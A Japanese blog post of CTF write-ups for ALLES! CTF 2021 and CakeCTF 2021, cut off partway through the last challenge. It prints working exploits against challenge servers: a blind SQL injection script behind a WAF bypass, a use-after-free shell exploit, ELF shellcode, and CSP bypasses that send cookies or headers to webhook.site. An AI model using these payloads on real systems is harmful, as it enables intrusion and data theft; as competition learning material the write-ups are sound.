st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

ALLES! CTF 2021 writeup

9/4 - 9/5という日程で開催された。zer0ptsで参加して15位。

他のメンバーが書いたwrite-up:


[Web 104] Sanity Check (498 solves)

You aren't a 🤖, right?

という問題文から robots.txt だなあとわかる。

ALLES!{1_nice_san1ty_ch3k}

[Web 229] Amazing Crypto WAF (23 solves)

Pastebin的なサービス。次の docker-compose.yml からわかるように、表からアクセスできるのは crypter というサービスだけ。これがバックエンドの app とクライアントの間に立つ仲介者として機能するという構成になっている。SQLiteのDBにユーザの情報やらメモやらが保存されているが、その内容はAESで暗号化されている。

version: '3.7'
services:
  app:
    build:
      context: app/

  crypter:
    build:
      context: crypter/
    depends_on:
      - "app"
    ports:
      - 5000:1024

フラグは以下のように flagger というユーザのメモとして保存されている。

import requests
import uuid
from logzero import logger

# create flag user
pw = uuid.uuid4().hex
flag = open('flag', 'rb').read()

logger.info(f'flagger password: {pw}')
s = requests.Session()
r = s.post(f'http://127.0.0.1:1024/registerlogin',
                data={'username': 'flagger','password':pw}, allow_redirects=False)

s.post(f'http://127.0.0.1:1024/add_note',
                data={'body': flag, 'title':'flag'}, allow_redirects=False)

私が問題を確認した時点で、nyankoさんによって app/notesORDER BY 句以降のSQLiができることがわかっていた。

@app.route('/notes')
@login_required
def notes():
    order = request.args.get('order', 'desc')
    notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']])
    return render_template('notes.html', user=g.user, notes=notes)

この appnotes には crypter を通してアクセスできるが、crypter は以下のように SELECTUNION がGETパラメータに含まれていることが確認できればそこで処理を打ち切ってしまう。特に WHERE 句で既にレコードがログインしているユーザの投稿だけに絞られている状況では、SQLiでは他のレコードの情報を抽出するのは難しいように思える。

# the WAF is still early in development and only protects a few cases
def waf_param(param):
    MALICIOUS = ['select', 'union', 'alert', 'script', 'sleep', '"', '\'', '<']
    for key in param:
        val = param.get(key, '')
        while val != unquote(val):
            val = unquote(val)

        for evil in MALICIOUS:
            if evil.lower() in val.lower():
                raise Exception('hacker detected')

waf_param を呼び出す側はこんな感じ。

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['POST', 'GET'])
def proxy(path):

    # Web Application Firewall
    try:
        waf_param(request.args)
        waf_param(request.form)
    except:
        return 'error'

なんとかできないか、crypter がこのWAFによるフィルター以降で何をしているか見ていく。フィルターの直後で request.query_string からすべてのGETパラメータを、path からリクエストされたパスを取得している。その後 {BACKEND_URL}{path}?{query}requests でHTTPリクエストを送り、HTTPレスポンスに含まれる暗号化された内容の復号などを行った上でHTTPレスポンスを返している。

    # contact backend server
    proxy_request = None
    query = request.query_string.decode()
    headers = {'Cookie': request.headers.get('Cookie', None) }
    if request.method=='GET':
        proxy_request = requests.get(f'{BACKEND_URL}{path}?{query}',
                            headers=headers,
                            allow_redirects=False)
    elif request.method=='POST':
        headers['Content-type'] = request.content_type
        proxy_request = requests.post(f'{BACKEND_URL}{path}?{query}', 
                            data=encrypt_params(request.form),
                            headers=headers,
                            allow_redirects=False)

   if not proxy_request:
        return 'error'

    
    response_data = decrypt_data(proxy_request.content)
    injected_data = inject_ad(response_data)
    resp = make_response(injected_data)
    resp.status = proxy_request.status_code
    if proxy_request.headers.get('Location', None):
        resp.headers['Location'] = proxy_request.headers.get('Location')
    if proxy_request.headers.get('Set-Cookie', None):
        resp.headers['Set-Cookie'] = proxy_request.headers.get('Set-Cookie')
    if proxy_request.headers.get('Content-Type', None):
        resp.content_type = proxy_request.headers.get('Content-Type')

    return resp

実はこの path はパーセントエンコーディングされていないので、例えば /notes%3forder%3dasc%26 にアクセスすると、バックエンドの app に対して http://127.0.0.1:5000/notes?order=asc&? のような形でHTTPリクエストが送られてしまう。crypter のWAFがチェックしているのは request.argsrequest.form のみで、path はGETパラメータでもPOSTで送られたパラメータでもないからWAFをバイパスできてしまう。これで /notes のSQLiが叩けるようになった。

SQLiで情報を抽出する方法を考える。SQLiteの公式ページには SELECT 文のrailroad diagramが載っているが、これを見ると ORDER BY 句の後ろでは LIMIT 句が使え、さらに LIMIT 句では SELECT を含めた式が使えることがわかる。あらかじめ数件のメモを投稿しておいて、LIMIT 句内の件数として unicode(substr(sqlite_version(), 3, 1)) & 15 のように数値として抽出したいデータの一部を与えると、その結果が出力された件数から得られる。

path を使えばWAFをバイパスできるということに気づいたのはCTFの終了間際で、暗号化されたフラグは長いことが予想されたので、4ビットずつデータを抽出する方法を採ることにした。これなら最初に投稿するメモの数は15個で済むし、1文字につき2回のリクエストで抽出できる。

まず1ビットずつの抽出を考えたが、前述の通り抽出したいデータはAESで暗号化されたバイト列をBase64エンコードしたものであるから、きっと長くなるだろうと考えてやめた。7ビットずつ抽出しようとすれば1回のリクエストで1文字を抽出できるが、最初に127個のメモを投稿する必要があるし、なぜかメモの数が増えれば増えるほどメモの投稿に時間がかかるから、結果的に4ビットずつ抽出する場合より遅くなってしまうと考えた。ということで、書いたスクリプトはこんな感じ:

import uuid
import requests
import urllib.parse

def query(sess, payload):
  r = sess.get(URL + 'notes%3forder%3d' + urllib.parse.quote(payload) + '%26')
  return r.text.count('name="uuid"')

#URL = 'http://localhost:5000/'
URL = 'https://7b0000006e9e16b460eef310-amazing-crypto-waf.challenge.master.allesctf.net:31337/'

sess = requests.Session()
sess.post(URL + 'registerlogin', data={
  'username': str(uuid.uuid4()),
  'password': str(uuid.uuid4())
})

print('chotto mattene')
for _ in range(15):
  print(_)
  sess.post(URL + 'add_note', data={
    'body': str(uuid.uuid4()),
    'title': str(uuid.uuid4())
  })
print('okay')

i = 1
res = ''
while True:
  a = query(sess, f"asc limit (select unicode(substr((select body from notes where user in (select uuid from users where username in ('flagger'))), {i}, 1)) >> 4)")
  b = query(sess, f"asc limit (select (unicode(substr((select body from notes where user in (select uuid from users where username in ('flagger'))), {i}, 1)) | 240) - 240)")
  res += chr((a << 4) | b)
  print(i, res)
  i += 1

実行すると以下のように出力された。無事暗号化されたフラグが抽出できたようだ。

$ python3 solve.py
155 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblB
156 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBp
157 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZ
158 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz
159 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz0
160 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz09

ENCRYPT:… という文字列をユーザ名として登録すると ALLES!{American_scientists_said,_dont_do_WAFs!} とフラグが出力されたが、CTFの終了時刻である13時を1分過ぎており、手遅れだった。

ALLES!{American_scientists_said,_dont_do_WAFs!}

CakeCTF 2021 writeup

8/28 - 8/29という日程で開催された。zer0ptsで参加して1位。やったー。

(9/29追記) 賞品(マグカップ、タオル、コースター)が届いた。かわいい。


[Web 110] MofuMofu Diary (80 solves)

PHP製のもふもふ画像ビュアー。蔵王キツネ村行きたいなあ。

2回目以降のアクセスのために画像のキャッシュがセッションに保存されている。Cookieには、セッションIDのほかに {"data":[{"name":"images\/01.jpg","description":"Half sleeping cat"}],"expiry":1630800898} のようにキャッシュされた画像の情報がJSONで保存されている。

JSONexpiry はキャッシュが破棄される時刻であり、もしそれを過ぎていれば、以下のようにWebサーバはCookieの情報をもとに再度画像を取得してセッションに保存する。

        $images = glob('images/*.jpg');
        $expiry = time() + 60*60*24*7;

        foreach($images as $image) {
            $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image);
            $description = trim(file_get_contents($text));
            array_push($results, array(
                'name' => $image,
                'description' => $description
            ));
            $_SESSION[$image] = img2b64($image);
        }

        $cookie = array('data' => $results, 'expiry' => $expiry);
        setcookie('cache', json_encode($cookie), $expiry);

画像の取得先もユーザが操作できるから、/flag.txt も読めてしまう。%7B%22data%22%3A%5B%7B%22name%22%3A%22%2Fflag.txt%22%2C%22description%22%3A%22Half%20sleeping%20cat%22%7D%5D%2C%22expiry%22%3A0%7DCookieに入れてやるとフラグが得られる。

CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns}

[Pwn 113] UAF4b (75 solves)

楽しいUAF。以下のような構造体を悪用してどこかのディレクトリにあるファイルを読み出せばよいらしい。system や構造体のアドレスなど色々教えてくれて優しい。

typedef struct {
  void (*fn_dialogue)(char*);
  char *message;
} COWSAY;
  1. cowsayfree
  2. そのままメッセージの変更をしようとすると cowsay があったアドレスに書き込まれるので、cowsay->fn_dialoguesystem に書き換え
  3. またメッセージの変更、sh と入力
  4. cowsay->fn_dialog(cowsay->message) を実行

このような手順でシェルが取れる。cat f*; exit でフラグが得られる。

import re
from pwn import *

s = remote('pwn.cakectf.com', 9001)
s.recvuntil(b'<system> = ')
system = int(s.recvline(), 16)
print('system', system)

s.recvuntil(b'> ')
s.sendline(b'3')
s.recvuntil(b'> ')
s.sendline(b'4')
r = s.recvuntil(b'> ')
addr = int(re.findall(r'(0x[0-9a-f]+).+fn_dialogue', r.decode())[0], 16)

payload = b''
payload += p64(system)

s.sendline(b'2')
s.sendline(payload)

s.recvuntil(b'> ')
s.sendline(b'2')
s.sendline(b'sh')

s.recvuntil(b'> ')
s.sendline(b'1')

s.sendline(b'cat f*; exit')
s.interactive()

s.close()
CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}

[Misc 143] Break a leg (44 solves)

LSBに情報が埋め込まれるタイプのステガノ問なんだけれども、data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)] からわかるようにLSBがクリアされないままORで書き込まれてしまっている。

幸いにもフラグの埋め込みは何度も繰り返されているので、フラグの各ビットについて、対応するすべてのピクセルのLSBのうち一度でも 0 が出現していれば 0、そうでなければ 1 とわかる。フラグのビット数はわからないが、暴力解法ブルートフォースで探せばよい。

import itertools
from PIL import Image

def split(s, n):
  return [s[i:i+n] for i in range(0, len(s), n)]

def go(s, n):
  t = split(s, n)[:-8]
  res = []
  for x in range(n):
    c = 0xff
    for v in t:
      c &= v[x]
    res.append(c)
  return [int(''.join(str(b) for b in x[::-1]), 2) for x in split(res, 8)][::-1]

im = Image.open('chall.png')
s = list(itertools.chain.from_iterable(im.getdata()))
t = [x & 1 for x in s]

for x in range(2, 1000):
  res = bytes(go(t, x))
  if b'\x00\x00\x00' in res:
    continue
  print(res)
CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}

[Misc 173] telepathy (29 solves)

以下のように / にアクセスするとフラグを返すバックエンドのWebサーバがあるが、

func run() error {
    e := echo.New()
    e.File("/", "public/flag.txt")
    if err := e.Start(":8000"); err != nil {
        return err
    }
    return nil
}

フロントエンドのnginxは \w\{.*\} という正規表現にマッチする文字列を全部 I'm sending the flag to you by telepathy... Got it? に置換してしまう。

    location / {
        # I'm getting the flag with telepathy...
        proxy_pass  http://app:8000/;

        # I will send the flag to you by HyperTextTelePathy, instead of HTTP
        header_filter_by_lua_block { ngx.header.content_length = nil; }
        body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); }
    }

バックエンドのサーバがこの正規表現に当てはまらないようにフラグを返すようにすればよい。Range ヘッダ{ より後ろのコンテンツを返すようにさせるとフラグが得られる。

$ curl misc.cakectf.com:18100 -H "Range: bytes=8-"
r4ng3-0r4ng3-r4ng3}

[Cheat 196] Kingtaker (22 solves)

Helltaker的な倉庫番っぽいゲームが与えられる。緑色のyoshikingさんを王冠まで導けば次のステージに進める。岩や壁は通行不可だが、段ボール箱は進行方向に通行不可のオブジェクトがない限り移動させられる。

左下に表示されている数値は残りの移動可能な回数であり、移動したり段ボール箱を押したりすると減少する。

f:id:st98:20210829094110p:plain

最終ステージは明らかに攻略不能なので、カテゴリ名のとおりチートで突破する必要がある。

f:id:st98:20210829094751p:plain

このゲームはGameMaker製で、Web向けにエクスポートされたらしいことがHTMLの gm4html5_div_class というクラス名や GameMaker_Init という関数名から推測できる。ゲームのコードはJavaScriptで記述されているが、javascript-obfuscatorによって難読化されてしまっている。仕方がないので適当なフォーマッタである程度読みやすくしておく。

まず通行できないオブジェクトの上を通行できるようにしたい。それっぽい wall のような文字列を探してみると、以下のようなコードが見つかった。プロパティ名の意味はよくわからないが、値を適当に変えていると、_w20 に変えたときに壁抜けができるようになった。

  }, {
    '_B1': 'obj_wall',
    '_w2': 0x2,
    '_m2': !0x0,
    'parent': -0x64,
    '_t2': [],
    '_u2': []
  }, {

これで通行不可のオブジェクトを無視して移動できるようになったが、先ほどのスクリーンショットで見たように移動回数の問題も解決する必要がある。ステージごとに異なる移動回数が設定されているが、その設定の処理を見つけることはできないだろうか。

第3ステージの移動回数は41回に設定されている。0x29 で検索してみると以下のようなコードが見つかった。ここにブレークポイントを置いてみるとちょうど第3ステージに突入した際に停止した。代入される値を50に変えてみると移動回数も50回に増え、確かにこの処理が移動回数の設定をしていることがわかった。

ついでに _0xcf60a1(0x7bb) の内容を確認すると、これは _n4 という文字列だった。

function _03(_0x4f72bf) {
  var _0xcf60a1 = _0xffd866;
  global[_0xcf60a1(0x7bb)] = 0x29;
}

ほかに global_n4 を参照している箇所を探すと、以下のように最終ステージの移動回数の設定をしているであろう処理が見つかった。0x3 を48に変えてやると、移動回数を48回にまで増やすことができた。

function _13(_0x1dbf6d) {
  global['_n4'] = 0x3;
}

f:id:st98:20210829100335p:plain

このまま王冠に触れるとフラグが表示された。

f:id:st98:20210829100401p:plain

CakeCTF{M4yb3_I_c4n_s3rv3_U_inst34d?}

[Web 196] travelog (22 solves)

ブログ。各投稿の本文でHTML Injectionが可能だが、default-src 'none'; script-src 'nonce-(nonce)' 'unsafe-inline';style-src 'nonce-(nonce)' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/; img-src 'self'; connect-src http: https:; base-uri 'self' というやや厳しめなCSPが有効になっている。

XSS botのコードを確認すると User-Agent にフラグが設定されていることがわかった。つまり外部のURLにアクセスさせるだけでフラグが得られるようだが、残念ながら外部のURLを報告してもXSS botがやって来ることはない。なんとかしてCSPをバイパスする必要がある。

const crawl = async (post_url) => {
    if (!post_url.match(/\/post\/[0-9a-f]{32}\/[0-9a-f]{32}$/)) {
        return;
    }
    const url = base_url + post_url;

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        page.setUserAgent(flag); // [!] steal this flag
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) { }

    await browser.close();
}

設定されているCSPを見ていくと、connect-src ディレクティブの http: https: というガバガバっぷりが気になった。connect-src ディレクティブは a 要素の ping 属性や fetch などで読み込めるURLを制限するものだが、XSS botはリンクをクリックしないし、任意のJavaScriptコードを実行できるわけでもないので悪用はできないように思える。

ちょっと悩んで、link 要素の preload を思い出す。<link rel="preload" href="https://webhook.site/…" as="fetch"> という内容で投稿してXSS botに報告すると、XSS botWebhook.siteにアクセスしてきた。

CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}

これはfirst bloodが取れたら賞品がもらえるという問題だったのだけれども、./Vespiaryに15分負けた😭

[Web 204] travelog again (20 solves)

travelogのリベンジ問らしい。今度は以下のようにフラグが User-Agent でなくCookieに格納されるようになった。httpOnlyfalse に設定されているから、JavaScriptコードの実行ができれば document.cookie からアクセスできるはず。

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        await page.setCookie({
            "domain":"challenge:8080",
            "name":"flag",
            "value":flag,
            "sameSite":"Strict",
            "httpOnly":false,
            "secure":false
        });
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) {
        console.log("[-] " + e);
    }

travelogでは使わなかったが、このブログサービスでは以下のようにファイルのアップロードもできる。ファイルのフォーマットは imghdr によってチェックされており、JPEG以外は受け付けないらしい。

@app.route('/upload', methods=['POST'])
def upload():
    if 'user_id' not in session:
        abort(404)

    images = request.files.getlist('images[]')
    for f in images:
        with tempfile.NamedTemporaryFile() as t:
            f.save(t.name)
            f.seek(0)
            if imghdr.what(t.name) != 'jpeg':
                abort(400)

    for f in images:
        name = os.path.basename(f.filename)
        if name == '':
            abort(400)
        else:
            f.save(PATH_IMAGE.format(user_id=session['user_id'], name=name))

    return 'OK'

アップロードしたファイルは以下のように /uploads/<user_id>/<name> から閲覧できる。send_file が使われているようだが、なぜかMIMEタイプが設定されていない。

アップロード処理では拡張子まではチェックされていないし、ファイル名は保持される。JPEGJavaScriptのpolyglotを hoge.js のようなファイル名でアップロードすれば、Content-Type: application/javascript でそのJSファイルが返ってくるはずだ。

@app.route('/uploads/<user_id>/<name>')
def uploads(user_id, name):
    user_id = user_id.lower()
    if re.fullmatch('[0-9a-f]{32}', user_id) is None:
        abort(404)

    return send_file(PATH_IMAGE.format(user_id=user_id, name=name))

imghdr のコードを確認してみると、なんとJPEGであるかどうかは7バイト目から10バイト目が JFIF または Exif かどうかだけでチェックされている。これなら AAAAAAJFIF でもJPEGと判定されてしまう。

さて、これで script 要素で読み込めば実行可能なJSファイルがアップロードできることがわかったが、残念ながらCSPの script-src'nonce-(nonce)' 'unsafe-inline' であり、そのままでは実行できない。なんとかできないだろうか。

ブログの記事ページをよく見てみると、HTML Injectionが可能な箇所より後ろで ../../show_utils.js が読み込まれていることがわかる。base-uri'self' に設定されているから、<base href="/uploads/(ユーザID)/a/b/"> を挿入してやればアップロードした show_utils.js が読み込まれるようにできるはずだ。

    <div class="uk-container">
        (ここに内容が入る)
    </div>

    <hr>
    <div class="uk-grid-row" uk-grid>
        <div>
            <a href="#" class="uk-icon-button" uk-icon="copy" id="share" uk-tooltip="Copy URL to clipboard"></a>
        </div></div>
    <script nonce="69P8FUHI9EoaHuu3gkPa3w==" src="../../show_utils.js"></script>

show_utils.js というファイル名で AAAAAAJFIF=navigator.sendBeacon('https://webhook.site/…',document.cookie) という内容のファイルをアップロードし、<base href="/uploads/(ユーザID)/a/b/"> という内容の記事を作成する。出来上がった記事をXSS botに報告するとフラグが得られた。

CakeCTF{I'll_n3v3r_trust_HTML:angry:}

[Rev 214] ALDRYA (18 solves)

ELFがmaliciousでないかどうかチェックするALDRYAというシステムを作ったらしい。以下のファイルが与えられている。

  • aldrya (与えられたELFがALDRYA形式のシグネチャにマッチしているか確認し、もしマッチしていればそのELFを実行してくれるELF)
  • sample.elf (Hello, Aldrya! と挨拶するだけのELF)
  • sample.aldrya (sample.elfシグネチャ)
  • server.py (サーバで動いているコード、./aldrya (アップロードしたファイル) ./sample.aldrya を実行してくれる)

まずALDRYAがどのようなフォーマットであるか確認する必要がある。IDA Freewarealdrya を投げてみると綺麗にデコンパイルされた。

Pythonに書き直すと大体以下のようなコードになる。ELFを0x100バイトを1チャンクとして区切ってそれぞれ32ビットのハッシュに変換し、それをALDRYA形式のファイルに格納されているハッシュと比較しているようだ。

import struct

def u32(x):
  return struct.unpack('<I', x)[0]

def ror(x, n):
  return ((x >> n) | (x << (32 - n))) & 0xffffffff

def calc_hash(buf):
  res = 0x20210828
  buf = buf.ljust(0x100, b'\x00')
  for i in range(0x100):
    res ^= buf[i]
    res = ror(res, 1)
  return res

class Aldrya(object):
  def __init__(self, elf, aldrya):
    self._fp_elf = open(elf, 'rb')
    self._fp_aldrya = open(aldrya, 'rb')
    self._chunk_num = None

  def _validate_chunk(self):
    legit_hash = u32(self._fp_aldrya.read(4))
    calced_hash = calc_hash(self._fp_elf.read(0x100))
    if legit_hash != calced_hash:
      return False

    return True

  def _validate_size(self):
    self._chunk_num = u32(self._fp_aldrya.read(4))
    # implement medoi
    self._fp_elf.seek(0)
    return True

  def validate(self):
    if self._fp_elf.read(4) != b'\x7fELF':
      return False

    if not self._validate_size():
      return False

    for _ in range(self._chunk_num):
      if not self._validate_chunk():
        return False

    return True

aldrya = Aldrya('sample.elf', 'sample.aldrya')
print(aldrya.validate())

0x100バイトのチャンクが32ビットに変換される calc_hash の処理を見てみると、1バイトを読み込んでXORし、1ビットだけ右ローテートすることを繰り返していることがわかる。

XORと1ビットずつの右ローテートによって計算されていることを考えると、各チャンクにつき32バイトの 01 からなる好きなバイト列を書き込めれば、ハッシュ値を任意の値に操作することができそうだ。

ということで、sample.aldrya にマッチするような細工されたELFを作っていく。まず加工がしやすいなるべく小さなELFを用意する。以前Plaid CTF 2020のgolf.soのwriteupを参考にDiceCTF 2021のTI-1337 Plus CEで作ったELFをベースに、cat /f* を実行する512バイトのELFが出来上がった。各チャンクの最後の32バイトは A で埋められており、自由に書き換えられるようになっている。

BITS 64

; ref: https://starfleetcadet75.github.io/posts/plaid-2020-golf-so/

ehdr:                               ; Elf64_Ehdr
        db  0x7f, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db  0
        dw  3                       ; e_type
        dw  0x3e                    ; e_machine
        dd  0x41424344                       ; e_version
        dq  shell                   ; e_entry
        dq  phdr - $$               ; e_phoff
        dq  0                       ; e_shoff
        dd  0                       ; e_flags
        dw  ehdrsize                ; e_ehsize
        dw  phdrsize                ; e_phentsize
        dw  2                       ; e_phnum
        dw  0                       ; e_shentsize
        dw  0                       ; e_shnum
        dw  0                       ; e_shstrndx
ehdrsize  equ  $ - ehdr

phdr:                               ; Elf64_Phdr
        dd  1                       ; p_type
        dd  7                       ; p_flags
        dq  0                       ; p_offset
        dq  $$                      ; p_vaddr
        dq  $$                      ; p_paddr
        dq  progsize                ; p_filesz
        dq  progsize                ; p_memsz
        dq  0x1000                  ; p_align
phdrsize  equ  $ - phdr
        ; PT_DYNAMIC segment
        dd  2                       ; p_type
        dd  7                       ; p_flags
        dq  dynamic                 ; p_offset
        dq  dynamic                 ; p_vaddr
        dq  dynamic                 ; p_paddr
        dq  dynsize                 ; p_filesz
        dq  dynsize                 ; p_memsz
        dq  0x1000                  ; p_align

times 80 - 32 db 0x0
times 32 db 0x41

shell:
        push rsp
        pop rdi

        ; /bin/sh
        push 0
        push rsp
        pop rdi
        push 0x6e69622f
        pop rax
        xor dword [rdi], eax
        push 0x68732f
        pop rax
        xor dword [rdi+4], eax

        ; -c
        push 0
        push rsp
        pop rcx
        push 0x632d
        pop rax
        xor dword [rcx+0], eax

        ; cat /f*
        push 0
        push rsp
        pop rdx
        push 0x20746163
        pop rax
        xor dword [rdx], eax
        push 0x2a662f
        pop rax
        xor dword [rdx+4], eax

        push 0
        push rdx
        push rcx
        push rdi
        push rsp
        pop rsi
        push 0
        pop rdx

        ; execve("/bin/sh", {"/bin/sh", "-c", "cat /f*"}, NULL)
        push 59
        pop rax
        syscall

        ; exit(0)
        push 0
        pop rdi
        push 60
        pop rax
        syscall

dynamic:
  dt_init:
        dq  0xc, shell
  dt_strtab:
        dq  0x5, shell
  dt_symtab:
        dq  0x6, shell

times (512 - 32 - ($ - $$)) db 0
times 32 db 0x41

dynsize  equ  $ - dynamic
progsize  equ  $ - $$

続いて、sample.aldryaシグネチャにマッチするようにこのELFの各チャンクの最後32バイトを変更するPythonスクリプトを書く。

import struct
from aldrya import Aldrya, calc_hash

def u32(x):
  return struct.unpack('<I', x)[0]

def p32(x):
  return struct.pack('<I', x)

with open('malelf', 'rb') as f:
  s = f.read().ljust(0x200, b'\x00')
with open('sample.elf', 'rb') as f:
  f.seek(len(s))
  s += f.read()

with open('sample.aldrya', 'rb') as f:
  num = u32(f.read(4))
  hashes = []
  for _ in range(num):
    hashes.append(u32(f.read(4)))

target = calc_hash(s[:0x100], size=0x100-0x20) ^ hashes[0]
buf = list(s[:0x100])
buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)]
s = bytes(buf) + s[0x100:]

target = calc_hash(s[0x100:0x200], size=0x100-0x20) ^ hashes[1]
buf = list(s[0x100:0x200])
buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)]
s = s[:0x100] + bytes(buf) + s[0x200:]

with open('result.elf', 'wb') as f:
  f.write(s)

a = Aldrya('sample.elf', 'sample.aldrya')
print(a.validate())
b = Aldrya('result.elf', 'sample.aldrya')
print(b.validate())

完成した result.elf をアップロードするとフラグが得られる。

CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}

[Rev 204] rflag (20 solves)

与えられた実行ファイルを実行してみると、毎回ランダムに生成される32バイトのhex stringを当てろと言われる。ヒントとして、文字列を入力するとhex stringの何文字目でそれがマッチしているか4回まで確認できる。

^.+$[0-9] などを入力するとちゃんとマッチすることから、正規表現が使われていることがわかる。ある箇所の文字がある正規表現にマッチしているかしていないかを4回確認できるということは、最終的に4ビットの情報が得られるということを意味する。

[13579bdf][2367abef][4567cdef][89abcdef] の4つの正規表現を使うとhex stringの全体が特定できる。ソルバーを書こう。

from pwn import *

def q(s):
  p.recvuntil(': ')
  p.sendline(s)
  p.recvuntil('Response: ')
  return eval(p.recvline())

rs = ['[13579bdf]', '[2367abef]', '[4567cdef]', '[89abcdef]']

p = remote('misc.cakectf.com', 10023)

a = [q(r) for r in rs]
res = [0 for _ in range(32)]
for i, x in enumerate(a):
  for j in x:
    res[j] |= 1 << i
res = ''.join(hex(x)[2:] for x in res)

p.sendline(res)
p.interactive()

これを実行するとフラグが得られる。

$ python3 solve.py 
[+] Opening connection to misc.cakectf.com on port 10023: Done
[*] Switching to interactive mode
Okay, what's the answer?
Correct!
FLAG: CakeCTF{n0b0dy_w4nt5_2_r3v3r53_RUST_pr0gr4m}

x0r19x91さんがRustコードにデコンパイルしていてすごいなあという気持ちになった。

[Web 247] My Nyamber (13 solves)

猫に割り振られたマイニャンバーなる番号、または猫の名前から個ニャン情報を引き出せるWebアプリケーションらしい。

コードは以下のように大変シンプルな作りになっている。マイニャンバーで検索をかける場合には parseInt で数値化を、猫の名前で検索をかける場合には '\、空白文字が名前に含まれていないかの確認を施した上でSQLに展開しクエリを実行している。猫の名前で検索する場合には、配列を使うことで複数の個ニャン情報を引き出せるようだ。

const express = require("express");
const sqlite3 = require("sqlite3");
const path = require('path');

const app = express();
const db = new sqlite3.Database('database.db');
app.disable('etag');

/**
 * Run SQL statement
 */
function querySqlStatement(stmt) {
    return new Promise((resolve, reject) => {
        db.get(stmt, (err, row) => {
            if (err) reject(err);
            if (row === undefined)
                reject("Not found");
            else
                resolve(row);
        });
    });
}

/**
 * Find neko by name
 */
async function queryNekoByName(neko_name, callback) {
    let filter = /(\'|\\|\s)/g;
    let result = [];
    if (typeof neko_name === 'string') {
        /* Process single query */
        if (filter.exec(neko_name) === null) {
            try {
                let row = await querySqlStatement(
                    `SELECT * FROM neko WHERE name='${neko_name}'`
                );
                if (row) result.push(row);
            } catch { }
        }
    } else {
        /* Process multiple queries */
        for (let name of neko_name) {
            if (filter.exec(name.toString()) === null) {
                try {
                    let row = await querySqlStatement(
                        `SELECT * FROM neko WHERE name='${name}'`
                    );
                    if (row) result.push(row);
                } catch { }
            }
        }
    }
    callback(result);
}

/**
 * Find neko by My Nyamber
 */
async function queryNekoById(neko_id, callback) {
    let nid = parseInt(neko_id);
    if (!isNaN(nid)) {
        try {
            let row = await querySqlStatement(
                `SELECT * FROM neko WHERE nid=${nid}`
            );
            if (row) {
                callback([row]);
                return;
            }
        } catch { }
    }

    /* Invalid ID or result not found */
    callback([]);
}

app.use(express.static(path.join(__dirname, 'public')))

app.get("/api/neko", function(req, res, next) {
    if (req.query.id == null && req.query.name == null) {
        /* Missing required parameters */
        res.status(400);
        res.json({reason: 'My Nyamber is not set'});
    } else {
        try {
            if (req.query.id) {
                /* Find by My Nyamber */
                queryNekoById(req.query.id,
                              result => { res.json({result}); });
            } else {
                /* Find by name */
                queryNekoByName(req.query.name,
                                result => { res.json({result}); });
            }
        } catch (e) {
            res.status(500);
            res.json({reason: 'SQL query failed :cry:'});
        }
    }
});

app.listen(8080);

一見脆弱性はないように思えるが、猫の名前の検索時に実行されるフィルターの挙動を検証していた際に不思議なことに気づいた。以下のように複数回 filter.exec を実行すると、どういうわけかその結果が毎回変わってしまう。

let filter = /(\'|\\|\s)/g;
const p = "'";
for (let i = 0; i < 10; i++) {
  console.log(filter.exec(p));
}
$ node test.js
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
